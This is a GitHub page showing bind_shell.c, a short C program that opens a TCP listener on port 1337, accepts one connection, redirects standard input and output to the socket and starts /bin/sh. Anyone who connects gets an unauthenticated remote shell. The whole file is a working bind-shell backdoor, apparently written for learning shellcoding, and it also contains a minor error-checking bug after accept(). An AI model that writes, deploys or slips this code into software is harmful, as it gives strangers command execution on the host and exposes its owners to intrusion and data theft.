sockets/bind_shell.c at master · abatchy17/sockets · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void DieWithError(char* msg)
{
		printf("%s\n", msg);
		exit (1);
}

int main()
{
	int host_sockid, client_sockid, status, num_bytes, clientaddr_size;

	char buf[1024];

	struct sockaddr_in hostaddr, clientaddr;

	host_sockid = socket(PF_INET, SOCK_STREAM, 0);
	if(host_sockid == -1) DieWithError("[-] socket() failed\n");

	printf("[+] Created socket for server with fd %d.\n", host_sockid);

	hostaddr.sin_family = AF_INET;
	hostaddr.sin_port = htons(1337);
	hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);

	status = bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr));
	if(status == -1) DieWithError("[-] bind() failed\n");

	printf("Binded successfully!\n");

	status = listen(host_sockid, 5);
	if(status == -1) DieWithError("[-] listen() failed\n");

	printf("[+] Currently listening...\n");

	clientaddr_size = sizeof(clientaddr);
	client_sockid = accept(host_sockid, (struct sockaddr*) &clientaddr, &clientaddr_size);
	if(status == -1) DieWithError("[-] accept() failed\n");

	printf("[+] Connection established successfully! Client ip: %s, client port: %d\n", inet_ntoa(clientaddr.sin_addr), ntohs(clientaddr.sin_port));

	dup2(client_sockid, 0);
	dup2(client_sockid, 1);
	dup2(client_sockid, 2);

    printf("[+] Spawning a shell, check netcat.\n");
	execve("/bin/sh",NULL, NULL);
	status  = close(host_sockid);
	if(status == -1) DieWithError("[-] close() failed.\n");

	printf("[+] Closed connection successfully.\n");

	return 0;
}